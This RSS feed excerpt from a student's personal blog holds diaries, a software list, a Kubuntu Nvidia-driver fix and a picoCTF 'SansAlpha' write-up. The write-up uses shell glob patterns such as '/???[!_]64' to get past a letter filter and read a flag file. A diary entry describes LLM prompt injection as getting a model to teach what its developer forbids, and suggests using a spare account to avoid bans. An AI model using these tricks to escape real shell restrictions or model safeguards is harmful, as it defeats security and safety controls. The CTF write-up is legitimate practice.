&lt;h2 id=&quot;tech-research&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#tech-research&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Tech Research&lt;/h2&gt;
&lt;h3 id=&quot;3d-printing&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#3d-printing&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;3D Printing&lt;/h3&gt;
&lt;p&gt;This week finally remembered to book a print slot. Planning to print a Master Sword, Kirby, Hylia Shield, and Eye of the Truth. The models look like this overall.&lt;/p&gt;
&lt;p&gt;![CHITU]( Basically printing everything — since printing is free this semester for course credit. But can only print 2.5 hours, so need to arrange everything to fill the time. The result… only the supports came out, the rest soaked in resin.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/diary/diary-6/result.webp&quot; alt=&quot;CHITU&quot;&gt;&lt;/p&gt;
&lt;p&gt;Probably too few supports, so didn’t hold the model. Hope next print succeeds.&lt;/p&gt;
&lt;h3 id=&quot;rebuilding-computer&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#rebuilding-computer&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Rebuilding Computer&lt;/h3&gt;
&lt;p&gt;To install Nvidia driver, broke the computer. Right after finishing install, computer black screened and won’t turn on. Should’ve just run the repair program, might have恢复正常. Rebooting was a bit impulsive, but a big part is I wanted to try &lt;a href=&quot;/zh/post/kubuntu/&quot;&gt;Kubuntu&lt;/a&gt;. Found out Mint does a lot of things you don’t know about. Setting up the new computer takes a lot of time — at least the two days that should’ve been for studying were spent on reinstalling and setting up. Reinstall Bad, &lt;del&gt;will reinstall again next time&lt;/del&gt;.&lt;/p&gt;
&lt;h3 id=&quot;llm-prompt-injection-attack&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#llm-prompt-injection-attack&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;LLM Prompt Injection Attack&lt;/h3&gt;
&lt;p&gt;TA introduced an interesting one last week in InfoSec — &lt;strong&gt;LLM Prompt Injection Attack&lt;/strong&gt;. Basically using our user prompt to bypass what the developer set. The developer’s set prompt gets added to the front of the prompt we give. Usually some moral guidelines, making the language model not teach you how to make bombs. Our purpose is very simple — make it teach me what it can’t teach. If trying, definitely don’t use your usual account,小心被ban. But haven’t played with this yet, will research more during winter break.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;winter-camp&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#winter-camp&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Winter Camp&lt;/h2&gt;
&lt;p&gt;Saw &lt;a href=&quot;https://scist.camp/&quot;&gt;this camp&lt;/a&gt; in &lt;a href=&quot;https://www.iach.cc/reason-go-scaict-wintercamp/&quot;&gt;Each’s article&lt;/a&gt; the other day, &lt;del&gt;though that article’s main point clearly isn’t promoting this activity&lt;/del&gt;. But because I have no development experience, want to go play hackathon. Most of the event flow is web-related, perfectly I don’t know any, can go learn on the side. Joint event between Zhong-Dian and Nan-Dian,相信不会差, those going can register together.&lt;/p&gt;</content:encoded></item><item><title>picoCTF SansAlpha</title><link>https://www.windson.cc/en/posts/picoCTF-SansAlpha/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/picoCTF-SansAlpha/</guid><description>今天上班非常無聊，都沒有學生，好像是因為今天很多學校校慶，外加上段考剛考完吧。既然都沒人來問，打了一點CTF，這是今天比較有趣的。 題目 簡單來說，找到 flag，但是只能用數字跟大部分的符號。 解 剛連上測試，文字果然都不能用。但是可以用 ? 跟 * 看到自己在什麼地方。 經過一番隨便測試，發現 flag 的檔案了。但是看不到裡面的內容，所以用 base64 把他印出來。 為什麼不用echo? </description><pubDate>Sat, 06 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;今天上班非常無聊，都沒有學生，好像是因為今天很多學校校慶，外加上段考剛考完吧。既然都沒人來問，打了一點CTF，這是今天比較有趣的。&lt;/p&gt;
&lt;h2 id=&quot;題目&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#題目&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;題目&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/436?category=5&amp;#x26;difficulty=2&amp;#x26;page=1&quot;&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/sansalpha/question.webp&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;簡單來說，找到 flag，但是只能用數字跟大部分的符號。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;解&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#解&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;解&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/sansalpha/picture1.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;剛連上測試，文字果然都不能用。但是可以用 &lt;code&gt;?&lt;/code&gt; 跟 &lt;code&gt;*&lt;/code&gt; 看到自己在什麼地方。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/sansalpha/picture2.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;經過一番隨便測試，發現 flag 的檔案了。但是看不到裡面的內容，所以用 base64 把他印出來。&lt;/p&gt;
&lt;p&gt;為什麼不用echo?&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /???/????&lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt; #/bin/bash /bin/echo 都有可能&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣系統不會知道你要用什麼，結果會變成都不能用，所以用有數字的 base64。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/sansalpha/picture3.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;但是&lt;code&gt;/????64&lt;/code&gt; 有可能是 &lt;code&gt;base64&lt;/code&gt; 或 &lt;code&gt;x86_64&lt;/code&gt;。系統又看不懂了。所以我們要設定第四個位數不會是 &lt;code&gt;_&lt;/code&gt; 。改成 &lt;code&gt;/???[!_]64&lt;/code&gt;。這樣就只剩下 &lt;code&gt;base64&lt;/code&gt; 這個可能，系統就看得懂了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/sansalpha/picture4.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;最後把 &lt;code&gt;base64&lt;/code&gt; 解碼就好了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/sansalpha/picture5.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Useful Software</title><link>https://www.windson.cc/en/posts/good-app/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/good-app/</guid><description>McBopomofo Download There are actually many Chinese input methods on Linux, but this one is the smartest. It remembers what you’re trying to type. If it doesn’t remember, you can manually add to the d</description><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;mcbopomofo&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#mcbopomofo&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;McBopomofo&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/openvanilla/fcitx5-mcbopomofo&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;There are actually many Chinese input methods on Linux, but this one is the smartest. It remembers what you’re trying to type. If it doesn’t remember, you can manually add to the dictionary.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;~/.local/share/fcitx5/mcbopomofo/data.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The dictionary is in this file. If I want to add to the dictionary: &lt;em&gt;Pasta should be mixed with concrete&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Pasta should be mixed with concrete yi-da-li-mian-jiu-ying-gai-ban-hun-ning-tu&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just add &lt;code&gt;-&lt;/code&gt; between each character.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;syncthing&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#syncthing&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Syncthing&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://apt.syncthing.net/&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A great tool for syncing files—password vaults, music, McBopomofo dictionary… can also be used for backups. The setup is a bit tricky though, not beginner-friendly. For detailed setup, check the &lt;a href=&quot;https://docs.syncthing.net/&quot;&gt;official docs&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;keepassxc&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#keepassxc&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;KeePassXC&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://keepassxc.org/download/#linux&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Password manager—lets you have a different password for every system, reducing hacking risk. Can also generate passwords, of course those super long complex ones you’d never remember. Since using this, I haven’t memorized a single password. No more cycling through several passwords—security up up up.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;realvnc&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#realvnc&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;RealVNC&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.realvnc.com/en/connect/download/viewer/&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Remote desktop—I use this to connect to my Raspberry Pi. The Pi’s default also seems to use this for the server version. It has shared clipboard functionality, very handy.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;tailscale&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#tailscale&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Tailscale&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://tailscale.com/download&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My VPN—mainly to make Syncthing work properly. Uses internal network penetration to put every device on the same local network, so I can sync data. Of course, you can also use it to play Minecraft.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;vs-code&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#vs-code&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;VS Code&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I think this can be downloaded directly with &lt;code&gt;apt&lt;/code&gt;, but this time it wouldn’t let me. So I had to find it online. Great tool for coding, can render markdown and mermaid. Want to use LaTeX? Of course you can—install the extension and you’re good. Also has git tools built in, no need to use CLI for uploads.&lt;/p&gt;
&lt;h2 id=&quot;signal&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#signal&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Signal&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://signal.org/en/download/&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My main communication app nowadays. Instagram and LINE are both not great—one shoves ads at you, the other holds you hostage with algorithms. So this is my open-source alternative. No ads currently, stickers are free, clean interface, and you can post stories. When the day comes to escape big tech control, it’s definitely the top choice.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;adnauseam&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#adnauseam&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;AdNauseam&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://adnauseam.io/&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Super shameless ad blocker—in addition to blocking ads, it clicks on all of them in the background. For details, check Wiwi’s &lt;a href=&quot;https://wiwi.blog/blog/adnauseam/&quot;&gt;article&lt;/a&gt;. It’s a Firefox extension, &lt;del&gt;quickly install it and waste the advertisers’ money.&lt;/del&gt;&lt;/p&gt;</content:encoded></item><item><title>Kubuntu Installation Pitfalls</title><link>https://www.windson.cc/en/posts/kubuntu/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/kubuntu/</guid><description>Preface A few days ago I suddenly wanted to play Steam games. Elden Ring? Computer specs not enough. The Wuya Sixteen Voices? Still not enough. How about Monster Hunter—original version definitely won</description><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;preface&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#preface&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Preface&lt;/h2&gt;
&lt;p&gt;A few days ago I suddenly wanted to play Steam games. Elden Ring? Computer specs not enough. The Wuya Sixteen Voices? Still not enough. How about Monster Hunter—original version definitely won’t work, but if Rise can somehow get the dedicated GPU running, there might be hope. &lt;strong&gt;Time to install Nvidia drivers!&lt;/strong&gt; After that, my computer wouldn’t boot anymore, because Nvidia’s drivers have terrible Linux compatibility. Could only enter rescue mode to get my data out, then reinstall. Choosing Kubuntu is just because I like using KDE—I think it looks great.&lt;/p&gt;
&lt;h2 id=&quot;bootable-usb-drive&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#bootable-usb-drive&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Bootable USB Drive&lt;/h2&gt;
&lt;p&gt;First, go to the &lt;a href=&quot;https://www.kubuntu.com/download/&quot;&gt;official website&lt;/a&gt; and download the version you want.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Legend has it that to master reinstalling, you need to reinstall as many times as the version number, &lt;del&gt;so don’t pick a big number&lt;/del&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I picked the latest Kubuntu 25.10. For Linux users, making a bootable USB is a piece of cake. Since I borrowed a Windows computer to make the boot drive, I’ll only explain how to do it on Windows.&lt;/p&gt;
&lt;p&gt;In short, download software called &lt;a href=&quot;https://rufus.ie/zh_TW/&quot;&gt;Rufus&lt;/a&gt;—it’s an open-source bootable USB maker for Windows. Use this to write the ISO file you just downloaded to your prepared boot drive. 16GB should be enough (if you can find one).&lt;/p&gt;
&lt;h2 id=&quot;reinstall&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#reinstall&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Reinstall&lt;/h2&gt;
&lt;p&gt;Plug the bootable USB in, turn on your computer, and open BIOS. Every brand opens it differently, so usually you hammer &lt;code&gt;del&lt;/code&gt; and &lt;code&gt;F2&lt;/code&gt; together. Once inside, go to &lt;code&gt;BOOT&lt;/code&gt;, change the boot order so the USB drive is first and the original system is second. If you don’t know which is which, just try them all. Next, you’ll enter the system on the boot drive, and following the prompts basically completes the installation.&lt;/p&gt;
&lt;h2 id=&quot;graphics-card-troubleshooting&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#graphics-card-troubleshooting&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Graphics Card Troubleshooting&lt;/h2&gt;
&lt;p&gt;If you can reboot and smoothly enter the system, congratulations! If you only see something like the image below, then you, like me, got got by the graphics card.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/kubuntu/stuck.webp&quot; alt=&quot;stuck&quot;&gt;&lt;/p&gt;
&lt;p&gt;At this point, you need to find a way into Grub first, so you can enter safe mode, then into the system. The moment you see the computer manufacturer’s logo during startup, press del once. If successful, you’ll go straight into Grub. If not, reboot.
Once in Grub, press e. There you can modify the boot parameters. On the second-to-last line, you’ll see &lt;code&gt;quiet splash&lt;/code&gt;—add &lt;code&gt;nomodeset&lt;/code&gt; after it, press &lt;code&gt;F10&lt;/code&gt;, and you can enter the system.&lt;/p&gt;
&lt;h3 id=&quot;add-to-blacklist&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#add-to-blacklist&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Add to Blacklist&lt;/h3&gt;
&lt;p&gt;After getting in, open the shell&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; vim&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /etc/modprobe.d/blacklist-nvidia.conf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add Nvidia packages to the blacklist to prevent the system from constantly trying to load them and failing, getting stuck outside.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;blacklist nvidia&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;blacklist nvidia-drm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;blacklist nvidia-modset&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;blacklist nouveau&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;remove-drivers&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#remove-drivers&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Remove Drivers&lt;/h3&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; remove&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; nvidia&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; autoremove&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; autoclean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally restart the system&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; update-initramfs&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -u&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; reboot&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After all this, you can enter the system. Kubuntu really is a huge坑.&lt;/p&gt;</content:encoded></item><item><title>Weekly Diary | 25/11/21</title><link>https://www.windson.cc/en/posts/diary-5/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-5/</guid><description>TL;DR After the long midterm month, I finally finished this week. But right after finishing, I have to start preparing for the guitar club welcome event, next week there’s also department BBQ. After d</description><pubDate>Fri, 21 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#tldr&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;After the long midterm month, I finally finished this week. But right after finishing, I have to start preparing for the guitar club welcome event, next week there’s also department BBQ. After doing events, it’s basically preparing for finals, &lt;del&gt;might as well start preparing for winter break&lt;/del&gt;.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2 id=&quot;eats&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#eats&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Eats&lt;/h2&gt;
&lt;p&gt;Recently found a really good tofu pudding place near school. The discoverer wasn’t me, I just went to eat.&lt;/p&gt;
&lt;h3 id=&quot;mu-tofu-pudding&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#mu-tofu-pudding&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Mu Tofu Pudding&lt;/h3&gt;
&lt;p&gt;Really good &lt;a href=&quot;https://maps.app.goo.gl/281i54Z1H8eqgewF7&quot;&gt;tofu pudding place&lt;/a&gt;, so good we went two days in a row. Though it’s a tofu pudding shop, we all went for the shaved ice. The recent weather isn’t really suitable for ice either.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/diary/diary-5/eat.webp&quot; alt=&quot;Delicious tofu pudding&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;guitar-club&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-club&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Club&lt;/h2&gt;
&lt;h3 id=&quot;club-class&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#club-class&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Club Class&lt;/h3&gt;
&lt;p&gt;Self-learner teaching guitar class for the first time, predictably crashed. During club class, discovered basically everyone can’t keep up with the curriculum, whether it’s club instructor class or teaching class. So this time I picked a super simple song —— &lt;a href=&quot;https://www.youtube.com/watch?v=lvDa3r1pNuE&quot;&gt;《Embrace》Mayday&lt;/a&gt;. This song only has four chords from start to finish, except for &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/msub&gt;&lt;mn&gt;7&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;D_m7&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0278em;&quot;&gt;D&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.1514em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, no finger needs to press two strings. The intro is also just T121 — basically a very suitable song for beginners.&lt;/p&gt;
&lt;p&gt;Then an accident happened — because this song is too simple. Took about half an hour to teach, including waiting for people and playing the original. But can’t end a two-hour class in half an hour, so I started teaching variations — muted strumming, percussive hitting, taught those, still only fifteen minutes passed. Had them play twice more, then couldn’t think of anything else. So started the Q&amp;#x26;A session. But this song is so simple, there won’t be any questions. So everyone just chat until nine, dismiss!&lt;/p&gt;
&lt;p&gt;Next club class to teach harder songs, like: &lt;a href=&quot;https://www.youtube.com/watch?v=Zn8M6mcGNoo&quot;&gt;Planets&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=l--9Ru69jTY&quot;&gt;Stars&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=RTUwaCImChM&quot;&gt;Star River&lt;/a&gt;. Haven’t decided yet, still have some time.&lt;/p&gt;
&lt;h3 id=&quot;song-audition&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#song-audition&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Song Audition&lt;/h3&gt;
&lt;p&gt;The original purpose of the performance team this time is — let freshmen play, the song list needs to resonate with the audience. So besides teams below passing, all passed, even teams that didn’t get on stage in first and second auditions made obvious progress. Reminded me of going through the same path myself.&lt;/p&gt;
&lt;p&gt;This time seeing the performance team decide songs, suddenly know why being on the performance team is hard — basically because &lt;del&gt;the mascot will talk&lt;/del&gt;, everyone’s skill is similar, feeling bad about eliminating others’ songs. End up eliminating their own songs. Won’t do this job again next time.&lt;/p&gt;
